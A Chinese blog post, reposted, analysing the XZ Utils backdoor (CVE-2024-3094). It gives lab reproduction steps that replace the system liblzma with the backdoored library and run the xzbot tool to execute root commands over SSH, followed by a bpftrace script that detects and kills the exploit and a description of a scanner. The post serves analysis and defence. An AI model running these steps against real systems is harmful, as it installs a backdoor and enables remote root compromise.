最新消息:

XZ 后门(CVE-2024-3094)漏洞-简要分析/复现/精准防御/检测

项目与思路 admin 602浏览 0评论

背景介绍

secrss.com/articles/648

2024 年 3 月 29 日,红帽(Red Hat)和美国网络安全和基础设施安全局(CISA)联合发布警告,称流行的Linux压缩工具XZ Utils存在影响广泛的高危漏洞(CVSS评分10分)。由于XZ压缩工具广泛存在于各种Linux发行版本中,因此检查并修复该漏洞是本周企业IT和安全团队的头等大事。

该漏洞编号为CVE-2024-3094,影响用于压缩和解压缩文件格式的XZ Utils工具(5.6.0和5.6.1版本)。红帽表示,该工具几乎存在于所有Linux发行版中。

该漏洞会影响 OpenSSH 守护进程。虽然 OpenSSH 不直接链接到 liblzma 库,但它会以一种方式与 systemd 通信,由于 systemd 链接到 liblzma,这使得 OpenSSH 暴露于恶意软件攻击。

简要分析

gist.github.com/thesame

gist.github.com/smx-smx

  • 注入后门的 liblzma 会通过 ifunc 方式, 劫持用于 RSA 解密的 RSA_public_decrypt 函数到其 liblzma 内的恶意实现 (符号为 Llzma_index_prealloc_0).
    • 攻击者在该函数内验证 payload 中的密钥 (漏洞的设计是:只有攻击者才能利用)
      • 若通过验证, 则通过 system() 执行攻击者的命令
      • 若未通过验证, 则跳到正确的 RSA_public_decrypt 实现, 因此不会影响正常的 ssh 连接

攻击者可以通过这种方式, 绕过 openssh 登陆验证, 以 root 权限执行攻击者的任意命令.

复现

github.com/amlweems/xzb

首先,准备一台 x86-64 架构的, 装有 openssh ,且 sshd 被链接到 liblzma.so 的 Linux 系统。

使用以下命令检查 sshd 是否被链接到 liblzma.soldd $(which sshd) | grep liblzma

笔者使用的是 Ubuntu 22.04.4 LTS x86_64 , 5.15.0-101-generic , KVM/QEMU (Standard PC (Q35 + ICH9, 2009) pc-q35-7.2).


在目标机器上,下载植入后门的 liblzma.so。链接如下:

https://github.com/amlweems/xzbot/raw/main/assets/liblzma.so.5.6.1.patch

备份系统当前的 liblzma.so.5

cd /lib/x86_64-linux-gnu   # ubuntu/debian
sudo cp liblzma.so.5 liblzma.so.5.backup

liblzma.so.5 软连接到植入后门的 liblzma.so.patch

cd /lib/x86_64-linux-gnu   # ubuntu/debian
sudo ln -s /realpath/to/liblzma.so.5.6.1.patch liblzma.so.5<code></code><code class="language-sh"></code>

重启 sshd

不重启也可以。

sudo systemctl restart sshd

在本机上,安装利用程序。

go install github.com/amlweems/xzbot@latest

# ====
cd ~/go/bin
./xzbot -h
Usage of xzbot:
  -addr string
        ssh server address (default "127.0.0.1:2222")
  -seed string
        ed448 seed, must match xz backdoor key (default "0")
  -cmd string
        command to run via system() (default "id &gt; /tmp/.xz")
<code class="language-sh">
</code>
# 替换为你目标机的ip,及ssh端口
./xzbot -addr "192.168.122.177:22" -cmd "date >> /tmp/xz"

在目标机上,就可以观察到恶意程序执行的结果了。

最终,被注入恶意后门代码的 liblzma 污染了 sshd,使得攻击者能够绕过 RSA 验证,以 root 权限执行任意命令。

防御

bpf src link

#!/bin/env -S BPFTRACE_LOG_SIZE=33554432 bpftrace --unsafe

/*
Date: 2024 04 02 22:10:43 CST UTC+8
Author: Delta<DeltaMail@qq.com>
Copyright © [2024]. All rights reserved.
*/

uprobe:/lib/x86_64-linux-gnu/libc.so.6:system
/ comm == "sshd" /
{
    printf("pid:%d, comm:%s, args:%s\n", pid, comm, str(arg0));

    if(!(@call_time[pid]))
    { // libcrypto.so:RSA_public_decrypt has not been called
        printf("%s\n", strftime("%F %T.%f", nsecs));
        printf("CVE-2024-3094 is being exploited now.\n");
        printf("system() was called before libcrypto.so:RSA_public_decrypt.\n");
        signal("SIGKILL");
    }
}

uprobe:/lib/x86_64-linux-gnu/libcrypto.so.3:RSA_public_decrypt
{
    @call_time[pid] = elapsed;
}

成功捕捉到恶意程序正在绕过 RSA 验证,执行任意代码。

恶意程序被杀死。在 /tmp 目录下也没有观察到恶意程序将要生成的文件。


同时,正常的,通过密钥验证的, SSH 连接不会被影响。

检测

固件安全厂商Binarly近日紧急发布了一款免费在线Linux后门扫描工具,用于检测可能受CVE-2024-3094漏洞影响的所有Linux可执行文件。

CVE-2024-3094是在XZ Utils中发现的,史上最危险、最复杂(但“功亏一篑”)的软件供应链攻击之一。曝出该漏洞的XZ Utils是一套广泛应用于主流Linux发行版的压缩工具和库,但Binarly推出的后门程序扫描工具的检测范围不限于XZ Utils。

去年底,微软工程师Andres Freud在调查DebianSid(滚动发行版)SSH登录异常(缓慢)时,发现最新版本的XZ Utils软件包存在后门程序。该后门由代号为“匿名贡献者”的人士引入到XZ5.6.0版本中,并延续到5.6.1版本。不过,由于采用“激进更新”方式的Linux发行版和版本较少,因此大多数使用早期安全库版本的發行版并未受到影响。

XZ后门发现后,大量部门和企业立即启动了检测和修复工作。美国网络安全与基础设施安全局(CISA)建议降级到XZUtils5.4.6稳定版,并持续追踪和报告相关恶意活动。

Binarly指出,迄今为止的XZ后门威胁缓解工作主要依靠简单的检测方法,例如字节字符串匹配、文件哈希黑名单和YARA规则,这些方法不仅会带来大量误报警报,还无法检测其他项目中类似的后门程序。

为了解决这个问题,Binarly开发了一款针对特定库和携带相同后门的任何文件的专用扫描器。

Binarly表示:“如此复杂且专业设计的综合性植入框架并非一次性操作就可以完成的。它可能已经被部署在其他地方,或部分用于其他操作。这就是我们开始专注于这种复杂后门的更通用检测方法的原因。”

XZ后门通过修改IFUNC调用来拦截或挂钩执行,从而插入恶意代码。Binarly的检测方法采用静态分析二进制文件的方式,识别GNU间接函数(IFUNC)转换过程中的篡改行为。

具体来说,扫描器会检查在植入恶意IFUNC解析器过程中标记为可疑的转换。GCC编译器的IFUNC属性允许开发人员创建同一函数的多个版本,然后根据处理器类型等各种标准在运行时进行选择。

Binarly解释道:“XZ后门利用GCC编译器用于运行时解析间接函数调用的GNU间接函数(ifunc)属性,作为其在执行过程中获取初始控制的核心技术之一。植入的后门代码最初会拦截或挂钩执行。它修改ifunc调用,替换原本应该简单调用“cpuid”的“is_arch_extension_supported”检查,转而调用由有效载荷对象文件(例如liblzma_la-crc64-fast.o)导出的“_get_cpuid”,并调用植入下图所示代码中的恶意_get_cpuid()。”

Binarly的扫描器通过检测除XZ Utils项目之外的各种供应链组件来提高检测率,并且检测结果的可信度也大大提高。

Binarly的首席安全研究员兼首席执行官Alex Matrosov表示:“这种检测基于行为分析,可以自动检测任何类似的后门程序变种。即使经过重新编译或代码更改,我们也能检测到它。”

该后门扫描器现已上线,网址为xz.fail,用户可免费上传二进制文件进行无限次的检测。

 

 

 

ps:bpftrace说明:

1、bpftrace的作用

bpftrace 是一个用于 Linux 的强大的跟踪和分析工具,它使用 eBPF(扩展伯克利数据包过滤器)技术。eBPF 是 Linux 内核的一部分,允许开发者在不修改内核源代码的情况下,动态地在内核中插入自定义的跟踪点和分析代码。

bpftrace 提供了一种高级的脚本语言,使得创建复杂的跟踪和分析任务变得更加容易。你可以使用 bpftrace 来跟踪系统调用、内核函数、用户空间函数、硬件事件等等。

例如,你可以使用 bpftrace 来跟踪所有的 open 系统调用,并打印出调用它们的进程名和文件名。你也可以使用 bpftrace 来分析 CPU 缓存命中率,或者查看哪些进程在读写最多的磁盘数据。

总的来说,bpftrace 是一个非常强大的工具,对于系统管理员和性能工程师来说,它可以提供大量的有用信息,帮助他们理解和优化系统的行为。

2、bpftrace –unsafe的作用

bpftrace --unsafe 命令允许你在 bpftrace 脚本中执行一些默认情况下被禁止的操作。

bpftrace 默认情况下禁止一些可能会对系统产生破坏性影响的操作,例如修改内核数据结构或者调用某些内核函数。这是为了防止误操作或者恶意代码对系统造成损害。

然而,在某些情况下,你可能需要执行这些操作。例如,你可能需要修改一些内核数据结构来修复一个 bug,或者调用某些内核函数来获取一些通常无法获取的信息。在这种情况下,你可以使用 --unsafe 选项来禁用这些保护。

需要注意的是,--unsafe 选项应该谨慎使用。在使用 --unsafe 选项之前,你应该确保你完全理解你的 bpftrace 脚本的行为,以及它可能对你的系统产生的影响。如果可能的话,你应该在一个隔离的环境中测试你的脚本,例如在一个虚拟机或者容器中。

3、ifunc介绍

ifunc(Indirect function)是 GNU C 库(glibc)中的一个特性,它允许开发者在运行时动态地选择一个函数的实现。这个特性可以用于在不同的硬件平台上选择最优的函数实现,或者在不同的运行时条件下选择不同的函数实现。

ifunc 劫持函数是指使用 ifunc 特性来改变一个函数的实现。这可以用于各种目的,例如性能优化、调试、测试、热补丁等。例如,你可以使用 ifunc 劫持函数来替换一个函数的实现,使其打印出一些调试信息,或者改变它的行为以便进行测试。

需要注意的是,ifunc 劫持函数是一个强大但危险的工具。如果使用不当,它可能会导致程序的行为变得难以预测,或者引入难以调试的问题。因此,你应该谨慎地使用 ifunc 劫持函数,并确保你完全理解你的改动可能会产生的影响。

 

 

转自:https://zhuanlan.zhihu.com/p/690463028

转载请注明:jinglingshu的博客 » XZ 后门(CVE-2024-3094)漏洞-简要分析/复现/精准防御/检测

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址